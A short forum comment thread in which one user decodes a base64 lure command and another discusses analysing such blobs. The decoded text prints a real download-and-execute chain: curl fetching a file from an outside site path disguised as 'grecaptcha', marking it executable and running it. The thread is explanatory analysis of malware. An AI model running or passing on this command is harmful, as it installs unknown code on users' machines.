3 ms·
In this case the old-fashioned way is to decode it yourself. It's a very short blob of base64, and if you don't recognize it, that doesn't matter, because the c
by thaumasiotes 1y ago
In this case the old-fashioned way is to decode it yourself. It's a very short blob of base64, and if you don't recognize it, that doesn't matter, because the command explicitly passes it to `base64 -d`.
Decoded:
curl -sL -o /tmp/pjKmMUFEYv8AlfKR https://www.amanagencies.com/assets/js/grecaptcha;
chmod +x /tmp/pjKmMUFEYv8AlfKR;
/tmp/pjKmMUFEYv8AlfKR
This isn't exactly obfuscated. Download an executable file, make it executable, and then execute it.
- nijave 1y agoMaybe decode was the wrong word. I was thinking more along the lines of "analyze" which would entail understanding what the binary is doing after downloading it I remember tons of "what's this JS/PHP blob do I found in my Wordpress site" back in the day that were generally more obfuscated than a single base64 pass